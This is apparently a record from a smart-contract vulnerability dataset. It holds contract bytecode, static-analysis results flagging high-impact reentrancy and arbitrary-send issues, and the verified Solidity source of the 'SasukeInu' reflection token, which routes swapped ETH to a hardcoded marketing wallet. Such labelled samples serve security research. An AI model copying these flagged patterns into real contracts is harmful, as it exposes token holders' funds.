a81b900460ff16158015610d1157506013546001600160a01b03858116911614155b8015610d265750601354600160b01b900460ff165b15610d5057610d3481610ea5565b476706f05b59d3b20000811115610d4e57610d4e47610d9c565b505b505b610d5d83838361101f565b505050565b60008184841115610d865760405162461bcd60e51b81526004016104709190611484565b506000610d9384866116b1565b95945050505050565b6011546001600160a01b03166108fc610db6600284611672565b6040518115909202916000818181858888f19350505050158015610dde573d6000803e3d6000fd5b506010546001600160a01b03166108fc610df9600284611672565b6040518115909202916000818181858888f193505050501580156109c1573d6000803e3d6000fd5b6000600854821115610e885760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610470565b6000610e9261102a565b9050610e9e838261104d565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610eed57610eed6116ff565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6a9190611611565b81600181518110610f7d57610f7d6116ff565b6001600160a01b039283166020918202929092010152601254610fa39130911684610a13565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fdc908590600090869030904290600401611715565b600060405180830381600087803b158015610ff657600080fd5b505af115801561100a573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b610d5d83838361108f565b6000806000611037611186565b9092509050611046828261104d565b9250505090565b6000610e9e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111c6565b6000806000806000806110a1876111f4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110d39087611251565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111029086611293565b6001600160a01b038916600090815260026020526040902055611124816112f2565b61112e848361133c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161117391815260200190565b60405180910390a3505050505050505050565b60085460009081906706f05b59d3b200006111a1828261104d565b8210156111bd575050600854926706f05b59d3b2000092509050565b90939092509050565b600081836111e75760405162461bcd60e51b81526004016104709190611484565b506000610d938486611672565b60008060008060008060008060006112118a600c54600d54611360565b925092509250600061122161102a565b905060008060006112348e8787876113b5565b919e509c509a509598509396509194505050505091939550919395565b6000610e9e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d62565b6000806112a083856116e7565b905083811015610e9e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610470565b60006112fc61102a565b9050600061130a8383611405565b306000908152600260205260409020549091506113279082611293565b30600090815260026020526040902055505050565b6008546113499083611251565b6008556009546113599082611293565b6009555050565b600080808061137a60646113748989611405565b9061104d565b9050600061138d60646113748a89611405565b905060006113a58261139f8b86611251565b90611251565b9992985090965090945050505050565b60008080806113c48886611405565b905060006113d28887611405565b905060006113e08888611405565b905060006113f28261139f8686611251565b939b939a50919850919650505050505050565b600082611414575060006103d7565b600061142083856116c8565b90508261142d8583611672565b14610e9e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610470565b600060208083528351808285015260005b818110156114b157858101830151858201604001528201611495565b818111156114c3576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461054457600080fd5b6000806040838503121561150157600080fd5b823561150c816114d9565b946020939093013593505050565b60008060006060848603121561152f57600080fd5b833561153a816114d9565b9250602084013561154a816114d9565b929592945050506040919091013590565b60006020828403121561156d57600080fd5b8135610e9e816114d9565b801515811461054457600080fd5b60006020828403121561159857600080fd5b8135610e9e81611578565b600080604083850312156115b657600080fd5b82356115c1816114d9565b915060208301356115d1816114d9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561162357600080fd5b8151610e9e816114d9565b60008060006060848603121561164357600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b60008261168f57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156116a657600080fd5b8151610e9e81611578565b6000828210156116c3576116c361165c565b500390565b60008160001904831182151516156116e2576116e261165c565b500290565b600082198211156116fa576116fa61165c565b500190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117655784516001600160a01b031683529383019391830191600101611740565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec932e2bd8211cfcdd992015f564670bab8d18af702819bba5b9361a0e807ecb64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,036 |
0x659f83cf60c36d89a357cc26669d57a8db3d8b81
|
/**
*Submitted for verification at Etherscan.io on 2021-09-24
*/
// SPDX-License-Identifier: Unlicensed
/*
Telegram: https://t.me/Sasukeinuofficial
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SasukeInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistributionAddress;
uint256 private _feeAddr2;
address payable private _marketingAddress;
string private constant _name = "SasukeInu";
string private constant _symbol = "SASUKE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 public openTradingTime;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_marketingAddress = payable(0xb7eB137B622444f5e1A01A7736b22fa77cE55736);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_redistributionAddress = 1;
_feeAddr2 = 4;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
if (block.timestamp < openTradingTime + 15 minutes) {
require(amount <= _maxTxAmount);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
openTradingTime = block.timestamp;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), 300000000 * 10 ** 9,0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistributionAddress, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461030a578063a9059cbb14610335578063c3c8cd8014610372578063c9567bf914610389578063dd62ed3e146103a057610109565b80636fc3eaec1461027457806370a082311461028b578063715018a6146102c85780638da5cb5b146102df57610109565b80632ab30838116100d15780632ab30838146101de578063313ce567146101f5578063325b3b18146102205780635932ead11461024b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103dd565b60405161013091906123ad565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190611fa7565b61041a565b60405161016d9190612392565b60405180910390f35b34801561018257600080fd5b5061018b610438565b60405161019891906124cf565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190611f54565b610442565b6040516101d59190612392565b60405180910390f35b3480156101ea57600080fd5b506101f361051b565b005b34801561020157600080fd5b5061020a6105a2565b6040516102179190612544565b60405180910390f35b34801561022c57600080fd5b506102356105ab565b60405161024291906124cf565b60405180910390f35b34801561025757600080fd5b50610272600480360381019061026d9190611fe7565b6105b1565b005b34801561028057600080fd5b5061028961064a565b005b34801561029757600080fd5b506102b260048036038101906102ad9190611eba565b6106bc565b6040516102bf91906124cf565b60405180910390f35b3480156102d457600080fd5b506102dd61070d565b005b3480156102eb57600080fd5b506102f4610847565b60405161030191906122c4565b60405180910390f35b34801561031657600080fd5b5061031f610870565b60405161032c91906123ad565b60405180910390f35b34801561034157600080fd5b5061035c60048036038101906103579190611fa7565b6108ad565b6040516103699190612392565b60405180910390f35b34801561037e57600080fd5b506103876108cb565b005b34801561039557600080fd5b5061039e610945565b005b3480156103ac57600080fd5b506103c760048036038101906103c29190611f14565b610e87565b6040516103d491906124cf565b60405180910390f35b60606040518060400160405280600981526020017f536173756b65496e750000000000000000000000000000000000000000000000815250905090565b600061042e610427610f0e565b8484610f16565b6001905092915050565b6000600854905090565b600061044f8484846110e1565b6105108461045b610f0e565b61050b85604051806060016040528060288152602001612a9360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c1610f0e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d59092919063ffffffff16565b610f16565b600190509392505050565b610523610f0e565b73ffffffffffffffffffffffffffffffffffffffff16610541610847565b73ffffffffffffffffffffffffffffffffffffffff1614610597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058e9061244f565b60405180910390fd5b600854601181905550565b60006009905090565b60105481565b6105b9610f0e565b73ffffffffffffffffffffffffffffffffffffffff166105d7610847565b73ffffffffffffffffffffffffffffffffffffffff161461062d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106249061244f565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068b610f0e565b73ffffffffffffffffffffffffffffffffffffffff16146106ab57600080fd5b60004790506106b981611439565b50565b6000610706600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a5565b9050919050565b610715610f0e565b73ffffffffffffffffffffffffffffffffffffffff16610733610847565b73ffffffffffffffffffffffffffffffffffffffff1614610789576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107809061244f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f534153554b450000000000000000000000000000000000000000000000000000815250905090565b60006108c16108ba610f0e565b84846110e1565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661090c610f0e565b73ffffffffffffffffffffffffffffffffffffffff161461092c57600080fd5b6000610937306106bc565b905061094281611513565b50565b61094d610f0e565b73ffffffffffffffffffffffffffffffffffffffff1661096b610847565b73ffffffffffffffffffffffffffffffffffffffff16146109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b89061244f565b60405180910390fd5b600f60149054906101000a900460ff1615610a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a08906124af565b60405180910390fd5b426010819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610aa130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600854610f16565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ae757600080fd5b505afa158015610afb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1f9190611ee7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8157600080fd5b505afa158015610b95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb99190611ee7565b6040518363ffffffff1660e01b8152600401610bd69291906122df565b602060405180830381600087803b158015610bf057600080fd5b505af1158015610c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c289190611ee7565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730670429d069189e0000600080610cbc610847565b426040518863ffffffff1660e01b8152600401610cde96959493929190612308565b6060604051808303818588803b158015610cf757600080fd5b505af1158015610d0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d309190612041565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555066470de4df8200006011819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e31929190612369565b602060405180830381600087803b158015610e4b57600080fd5b505af1158015610e5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e839190612014565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7d9061248f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed906123ef565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110d491906124cf565b60405180910390a3505050565b60008111611124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111b9061246f565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561117b57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113c5576001600b819055506004600c81905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156112695750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112bf5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156112d75750600f60179054906101000a900460ff165b15611304576103846010546112ec91906125b4565b4210156113035760115481111561130257600080fd5b5b5b600061130f306106bc565b9050600f60159054906101000a900460ff1615801561137c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113945750600f60169054906101000a900460ff165b156113c3576113a281611513565b6000479050670429d069189e00008111156113c1576113c047611439565b5b505b505b6113d083838361179b565b505050565b600083831115829061141d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141491906123ad565b60405180910390fd5b506000838561142c9190612695565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114a1573d6000803e3d6000fd5b5050565b60006009548211156114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e3906123cf565b60405180910390fd5b60006114f66117ab565b905061150b81846117d690919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561154b5761154a612802565b5b6040519080825280602002602001820160405280156115795781602001602082028036833780820191505090505b5090503081600081518110611591576115906127d3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561163357600080fd5b505afa158015611647573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061166b9190611ee7565b8160018151811061167f5761167e6127d3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116e630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f16565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161174a9594939291906124ea565b600060405180830381600087803b15801561176457600080fd5b505af1158015611778573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6117a6838383611820565b505050565b60008060006117b86119eb565b915091506117cf81836117d690919063ffffffff16565b9250505090565b600061181883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a38565b905092915050565b60008060008060008061183287611a9b565b95509550955095509550955061189086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061192585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061197181611bab565b61197b8483611c68565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119d891906124cf565b60405180910390a3505050505050505050565b6000806000600954905060006008549050611a136008546009546117d690919063ffffffff16565b821015611a2b57600954600854935093505050611a34565b81819350935050505b9091565b60008083118290611a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7691906123ad565b60405180910390fd5b5060008385611a8e919061260a565b9050809150509392505050565b6000806000806000806000806000611ab88a600b54600c54611ca2565b9250925092506000611ac86117ab565b90506000806000611adb8e878787611d38565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b4583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d5565b905092915050565b6000808284611b5c91906125b4565b905083811015611ba1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b989061240f565b60405180910390fd5b8091505092915050565b6000611bb56117ab565b90506000611bcc8284611dc190919063ffffffff16565b9050611c2081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c7d82600954611b0390919063ffffffff16565b600981905550611c9881600a54611b4d90919063ffffffff16565b600a819055505050565b600080600080611cce6064611cc0888a611dc190919063ffffffff16565b6117d690919063ffffffff16565b90506000611cf86064611cea888b611dc190919063ffffffff16565b6117d690919063ffffffff16565b90506000611d2182611d13858c611b0390919063ffffffff16565b611b0390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d518589611dc190919063ffffffff16565b90506000611d688689611dc190919063ffffffff16565b90506000611d7f8789611dc190919063ffffffff16565b90506000611da882611d9a8587611b0390919063ffffffff16565b611b0390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611dd45760009050611e36565b60008284611de2919061263b565b9050828482611df1919061260a565b14611e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e289061242f565b60405180910390fd5b809150505b92915050565b600081359050611e4b81612a4d565b92915050565b600081519050611e6081612a4d565b92915050565b600081359050611e7581612a64565b92915050565b600081519050611e8a81612a64565b92915050565b600081359050611e9f81612a7b565b92915050565b600081519050611eb481612a7b565b92915050565b600060208284031215611ed057611ecf612831565b5b6000611ede84828501611e3c565b91505092915050565b600060208284031215611efd57611efc612831565b5b6000611f0b84828501611e51565b91505092915050565b60008060408385031215611f2b57611f2a612831565b5b6000611f3985828601611e3c565b9250506020611f4a85828601611e3c565b9150509250929050565b600080600060608486031215611f6d57611f6c612831565b5b6000611f7b86828701611e3c565b9350506020611f8c86828701611e3c565b9250506040611f9d86828701611e90565b9150509250925092565b60008060408385031215611fbe57611fbd612831565b5b6000611fcc85828601611e3c565b9250506020611fdd85828601611e90565b9150509250929050565b600060208284031215611ffd57611ffc612831565b5b600061200b84828501611e66565b91505092915050565b60006020828403121561202a57612029612831565b5b600061203884828501611e7b565b91505092915050565b60008060006060848603121561205a57612059612831565b5b600061206886828701611ea5565b935050602061207986828701611ea5565b925050604061208a86828701611ea5565b9150509250925092565b60006120a083836120ac565b60208301905092915050565b6120b5